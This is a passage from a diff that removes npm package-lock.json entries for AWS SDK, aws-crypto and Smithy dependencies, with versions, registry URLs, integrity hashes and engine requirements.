"@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/sha256-browser": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", - "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-js": "^5.2.0", - "@aws-crypto/supports-web-crypto": "^5.2.0", - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "@aws-sdk/util-locate-window": "^3.0.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/is-array-buffer": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", - "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-buffer-from": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", - "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-utf8": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", - "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@aws-crypto/sha256-js": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", - "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/util": "^5.2.0", - "@aws-sdk/types": "^3.222.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/@aws-crypto/supports-web-crypto": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", - "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/util": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", - "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.222.0", - "@smithy/util-utf8": "^2.0.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-crypto/util/node_modules/@smithy/is-array-buffer": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", - "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@aws-crypto/util/node_modules/@smithy/util-buffer-from": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", - "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/is-array-buffer": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@aws-crypto/util/node_modules/@smithy/util-utf8": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", - "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/util-buffer-from": "^2.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-runtime": { - "version": "3.1045.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1045.0.tgz", - "integrity": "sha512-aPC6gAz9uKRiwfnKB7peTs6yD0FpSzmVnSkx0f2QtJfosFM6J6KtBvR1lMKby050K4C4PAyEScwA5YTsGfTcGA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/credential-provider-node": "^3.972.39", - "@aws-sdk/eventstream-handler-node": "^3.972.14", - "@aws-sdk/middleware-eventstream": "^3.972.10", - "@aws-sdk/middleware-host-header": "^3.972.10", - "@aws-sdk/middleware-logger": "^3.972.10", - "@aws-sdk/middleware-recursion-detection": "^3.972.11", - "@aws-sdk/middleware-user-agent": "^3.972.38", - "@aws-sdk/middleware-websocket": "^3.972.16", - "@aws-sdk/region-config-resolver": "^3.972.13", - "@aws-sdk/token-providers": "3.1045.0", - "@aws-sdk/types": "^3.973.8", - "@aws-sdk/util-endpoints": "^3.996.8", - "@aws-sdk/util-user-agent-browser": "^3.972.10", - "@aws-sdk/util-user-agent-node": "^3.973.24", - "@smithy/config-resolver": "^4.4.17", - "@smithy/core": "^3.23.17", - "@smithy/eventstream-serde-browser": "^4.2.14", - "@smithy/eventstream-serde-config-resolver": "^4.3.14", - "@smithy/eventstream-serde-node": "^4.2.14", - "@smithy/fetch-http-handler": "^5.3.17", - "@smithy/hash-node": "^4.2.14", - "@smithy/invalid-dependency": "^4.2.14", - "@smithy/middleware-content-length": "^4.2.14", - "@smithy/middleware-endpoint": "^4.4.32", - "@smithy/middleware-retry": "^4.5.7", - "@smithy/middleware-serde": "^4.2.20", - "@smithy/middleware-stack": "^4.2.14", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/node-http-handler": "^4.6.1", - "@smithy/protocol-http": "^5.3.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "@smithy/url-parser": "^4.2.14", - "@smithy/util-base64": "^4.3.2", - "@smithy/util-body-length-browser": "^4.2.2", - "@smithy/util-body-length-node": "^4.2.3", - "@smithy/util-defaults-mode-browser": "^4.3.49", - "@smithy/util-defaults-mode-node": "^4.2.54", - "@smithy/util-endpoints": "^3.4.2", - "@smithy/util-middleware": "^4.2.14", - "@smithy/util-retry": "^4.3.6", - "@smithy/util-stream": "^4.5.25", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/core": { - "version": "3.974.8", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.8.tgz", - "integrity": "sha512-njR2qoG6ZuB0kvAS2FyICsFZJ6gmCcf2X/7JcD14sUvGDm26wiZ5BrA6LOiUxKFEF+IVe7kdroxyE00YlkiYsw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@aws-sdk/xml-builder": "^3.972.22", - "@smithy/core": "^3.23.17", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/property-provider": "^4.2.14", - "@smithy/protocol-http": "^5.3.14", - "@smithy/signature-v4": "^5.3.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "@smithy/util-base64": "^4.3.2", - "@smithy/util-middleware": "^4.2.14", - "@smithy/util-retry": "^4.3.6", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-env": { - "version": "3.972.34", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.34.tgz", - "integrity": "sha512-XT0jtf8Fw9JE6ppsQeoNnZRiG+jqRixMT1v1ZR17G60UvVdsQmTG8nbEyHuEPfMxDXEhfdARaM/XiEhca4lGHQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-http": { - "version": "3.972.36", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.36.tgz", - "integrity": "sha512-DPoGWfy7J7RKxvbf5kOKIGQkD2ek3dbKgzKIGrnLuvZBz5myU+Im/H6pmc14QcnFbqHMqxvtWSgRDSJW3qXLQg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/types": "^3.973.8", - "@smithy/fetch-http-handler": "^5.3.17", - "@smithy/node-http-handler": "^4.6.1", - "@smithy/property-provider": "^4.2.14", - "@smithy/protocol-http": "^5.3.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "@smithy/util-stream": "^4.5.25", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-ini": { - "version": "3.972.38", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.38.tgz", - "integrity": "sha512-oDzUBu2MGJFgoar05sPMCwSrhw44ASyccrHzj66vO69OZqi7I6hZZxXfuPLC8OCzW7C+sU+bI73XHij41yekgQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/credential-provider-env": "^3.972.34", - "@aws-sdk/credential-provider-http": "^3.972.36", - "@aws-sdk/credential-provider-login": "^3.972.38", - "@aws-sdk/credential-provider-process": "^3.972.34", - "@aws-sdk/credential-provider-sso": "^3.972.38", - "@aws-sdk/credential-provider-web-identity": "^3.972.38", - "@aws-sdk/nested-clients": "^3.997.6", - "@aws-sdk/types": "^3.973.8", - "@smithy/credential-provider-imds": "^4.2.14", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-login": { - "version": "3.972.38", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.38.tgz", - "integrity": "sha512-g1NosS8qe4OF++G2UFCM5ovSkgipC7YYor5KCWatG0UoMSO5YFj9C8muePlyVmOBV/WTI16Jo3/s1NUo/o1Bww==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/nested-clients": "^3.997.6", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/protocol-http": "^5.3.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-node": { - "version": "3.972.39", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.39.tgz", - "integrity": "sha512-HEswDQyxUtadoZ/bJsPPENHg7R0Lzym5LuMksJeHvqhCOpP+rtkDLKI4/ZChH4w3cf5kG8n6bZuI8PzajoiqMg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/credential-provider-env": "^3.972.34", - "@aws-sdk/credential-provider-http": "^3.972.36", - "@aws-sdk/credential-provider-ini": "^3.972.38", - "@aws-sdk/credential-provider-process": "^3.972.34", - "@aws-sdk/credential-provider-sso": "^3.972.38", - "@aws-sdk/credential-provider-web-identity": "^3.972.38", - "@aws-sdk/types": "^3.973.8", - "@smithy/credential-provider-imds": "^4.2.14", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-process": { - "version": "3.972.34", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.34.tgz", - "integrity": "sha512-T3IFs4EVmVi1dVN5RciFnklCANSzvrQd/VuHY9ThHSQmYkTogjcGkoJEr+oNUPQZnso52183088NqysMPji1/Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-sso": { - "version": "3.972.38", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.38.tgz", - "integrity": "sha512-5ZxG+t0+3Q3QPh8KEjX6syskhgNf7I0MN7oGioTf6Lm1NTjfP7sIcYGNsthXC2qR8vcD3edNZwCr2ovfSSWuRA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/nested-clients": "^3.997.6", - "@aws-sdk/token-providers": "3.1041.0", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-sso/node_modules/@aws-sdk/token-providers": { - "version": "3.1041.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1041.0.tgz", - "integrity": "sha512-Th7kPI6YPtvJUcdznooXJMy+9rQWjmEF81LxaJssngBzuysK4a/x+l8kjm1zb7nYsUPbndnBdUnwng/3PLvtGw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/nested-clients": "^3.997.6", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/credential-provider-web-identity": { - "version": "3.972.38", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.38.tgz", - "integrity": "sha512-lYHFF30DGI20jZcYX8cm6Ns0V7f1dDN6g/MBDLTyD/5iw+bXs3yBr2iAiHDkx4RFU5JgsnZvCHYKiRVPRdmOgw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/nested-clients": "^3.997.6", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/eventstream-handler-node": { - "version": "3.972.14", - "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.14.tgz", - "integrity": "sha512-m4X56gxG76/CKfxNVbOFuYwnAZcHgS6HOH8lgp15HoGHIAVTcZfZrXvcYzJFOMLEJgVn+JHBu6EiNV+xSNXXFg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/eventstream-codec": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-eventstream": { - "version": "3.972.10", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.10.tgz", - "integrity": "sha512-QUqLs7Af1II9X4fCRAu+EGHG3KHyOp4RkuLhRKoA3NuFlh6TL8i+zXBl8w2LUxqm44B/Kom45hgSlwA1SpTsXQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-host-header": { - "version": "3.972.10", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.972.10.tgz", - "integrity": "sha512-IJSsIMeVQ8MMCPbuh1AbltkFhLBLXn7aejzfX5YKT/VLDHn++Dcz8886tXckE+wQssyPUhaXrJhdakO2VilRhg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-logger": { - "version": "3.972.10", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.972.10.tgz", - "integrity": "sha512-OOuGvvz1Dm20SjZo5oEBePFqxt5nf8AwkNDSyUHvD9/bfNASmstcYxFAHUowy4n6Io7mWUZ04JURZwSBvyQanQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.972.11", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.972.11.tgz", - "integrity": "sha512-+zz6f79Kj9V5qFK2P+D8Ehjnw4AhphAlCAsPjUqEcInA9umtSSKMrHbSagEeOIsDNuvVrH98bjRHcyQukTrhaQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@aws/lambda-invoke-store": "^0.2.2", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-sdk-s3": { - "version": "3.972.37", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.37.tgz", - "integrity": "sha512-Km7M+i8DrLArVzrid1gfxeGhYHBd3uxvE77g0s5a52zPSVosxzQBnJ0gwWb6NIp/DOk8gsBMhi7V+cpJG0ndTA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/types": "^3.973.8", - "@aws-sdk/util-arn-parser": "^3.972.3", - "@smithy/core": "^3.23.17", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/protocol-http": "^5.3.14", - "@smithy/signature-v4": "^5.3.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "@smithy/util-config-provider": "^4.2.2", - "@smithy/util-middleware": "^4.2.14", - "@smithy/util-stream": "^4.5.25", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.972.38", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.972.38.tgz", - "integrity": "sha512-iz+B29TXcAZsJpwB+AwG/TTGA5l/VnmMZ2UxtiySOZjI6gCdmviXPwdgzcmuazMy16rXoPY4mYCGe7zdNKfx5A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/types": "^3.973.8", - "@aws-sdk/util-endpoints": "^3.996.8", - "@smithy/core": "^3.23.17", - "@smithy/protocol-http": "^5.3.14", - "@smithy/types": "^4.14.1", - "@smithy/util-retry": "^4.3.6", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-websocket": { - "version": "3.972.16", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.16.tgz", - "integrity": "sha512-86+S9oCyRVGzoMRpQhxkArp7kD2K75GPmaNevd9B6EyNhWoNvnCZZ3WbgN4j7ZT+jvtvBCGZvI2XHsWZJ+BRIg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@aws-sdk/util-format-url": "^3.972.10", - "@smithy/eventstream-codec": "^4.2.14", - "@smithy/eventstream-serde-browser": "^4.2.14", - "@smithy/fetch-http-handler": "^5.3.17", - "@smithy/protocol-http": "^5.3.14", - "@smithy/signature-v4": "^5.3.14", - "@smithy/types": "^4.14.1", - "@smithy/util-base64": "^4.3.2", - "@smithy/util-hex-encoding": "^4.2.2", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">= 14.0.0" - } - }, - "node_modules/@aws-sdk/nested-clients": { - "version": "3.997.6", - "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.6.tgz", - "integrity": "sha512-WBDnqatJl+kGObpfmfSxqnXeYTu3Me8wx8WCtvoxX3pfWrrTv8I4WTMSSs7PZqcRcVh8WeUKMgGFjMG+52SR1w==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/middleware-host-header": "^3.972.10", - "@aws-sdk/middleware-logger": "^3.972.10", - "@aws-sdk/middleware-recursion-detection": "^3.972.11", - "@aws-sdk/middleware-user-agent": "^3.972.38", - "@aws-sdk/region-config-resolver": "^3.972.13", - "@aws-sdk/signature-v4-multi-region": "^3.996.25", - "@aws-sdk/types": "^3.973.8", - "@aws-sdk/util-endpoints": "^3.996.8", - "@aws-sdk/util-user-agent-browser": "^3.972.10", - "@aws-sdk/util-user-agent-node": "^3.973.24", - "@smithy/config-resolver": "^4.4.17", - "@smithy/core": "^3.23.17", - "@smithy/fetch-http-handler": "^5.3.17", - "@smithy/hash-node": "^4.2.14", - "@smithy/invalid-dependency": "^4.2.14", - "@smithy/middleware-content-length": "^4.2.14", - "@smithy/middleware-endpoint": "^4.4.32", - "@smithy/middleware-retry": "^4.5.7", - "@smithy/middleware-serde": "^4.2.20", - "@smithy/middleware-stack": "^4.2.14", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/node-http-handler": "^4.6.1", - "@smithy/protocol-http": "^5.3.14", - "@smithy/smithy-client": "^4.12.13", - "@smithy/types": "^4.14.1", - "@smithy/url-parser": "^4.2.14", - "@smithy/util-base64": "^4.3.2", - "@smithy/util-body-length-browser": "^4.2.2", - "@smithy/util-body-length-node": "^4.2.3", - "@smithy/util-defaults-mode-browser": "^4.3.49", - "@smithy/util-defaults-mode-node": "^4.2.54", - "@smithy/util-endpoints": "^3.4.2", - "@smithy/util-middleware": "^4.2.14", - "@smithy/util-retry": "^4.3.6", - "@smithy/util-utf8": "^4.2.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/region-config-resolver": { - "version": "3.972.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.972.13.tgz", - "integrity": "sha512-CvJ2ZIjK/jVD/lbOpowBVElJyC1YxLTIJ13yM0AEo0t2v7swOzGjSA6lJGH+DwZXQhcjUjoYwc8bVYCX5MDr1A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/config-resolver": "^4.4.17", - "@smithy/node-config-provider": "^4.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/signature-v4-multi-region": { - "version": "3.996.25", - "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.25.tgz", - "integrity": "sha512-+CMIt3e1VzlklAECmG+DtP1sV8iKq25FuA0OKpnJ4KA0kxUtd7CgClY7/RU6VzJBQwbN4EJ9Ue6plvqx1qGadw==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/middleware-sdk-s3": "^3.972.37", - "@aws-sdk/types": "^3.973.8", - "@smithy/protocol-http": "^5.3.14", - "@smithy/signature-v4": "^5.3.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/token-providers": { - "version": "3.1045.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1045.0.tgz", - "integrity": "sha512-/o4qcty0DmQola0DBniRVeBakYY6ALOvKEFo1AtJpTmMn/cJ+Fk3RWGe5ieT/f/eYbHG9k5E7poKge/E+WGv4Q==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.8", - "@aws-sdk/nested-clients": "^3.997.6", - "@aws-sdk/types": "^3.973.8", - "@smithy/property-provider": "^4.2.14", - "@smithy/shared-ini-file-loader": "^4.4.9", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/types": { - "version": "3.973.8", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.8.tgz", - "integrity": "sha512-gjlAdtHMbtR9X5iIhVUvbVcy55KnznpC6bkDUWW9z915bi0ckdUr5cjf16Kp6xq0bP5HBD2xzgbL9F9Quv5vUw==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-arn-parser": { - "version": "3.972.3", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-arn-parser/-/util-arn-parser-3.972.3.tgz", - "integrity": "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-endpoints": { - "version": "3.996.8", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.996.8.tgz", - "integrity": "sha512-oOZHcRDihk5iEe5V25NVWg45b3qEA8OpHWVdU/XQh8Zj4heVPAJqWvMphQnU7LkufmUo10EpvFPZuQMiFLJK3g==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/types": "^4.14.1", - "@smithy/url-parser": "^4.2.14", - "@smithy/util-endpoints": "^3.4.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-format-url": { - "version": "3.972.10", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.972.10.tgz", - "integrity": "sha512-DEKiHNJVtNxdyTeQspzY+15Po/kHm6sF0Cs4HV9Q2+lplB63+DrvdeiSoOSdWEWAoO2RcY1veoXVDz2tWxWCgQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.8", - "@smithy/querystring-builder": "^4.2.14", - "@smithy/types": "^4.14.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-locate-window": { - "version": "3.965.5", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.5.tgz", - "integrity": "sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.972.10", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.972.10.tgz", - "integrity": 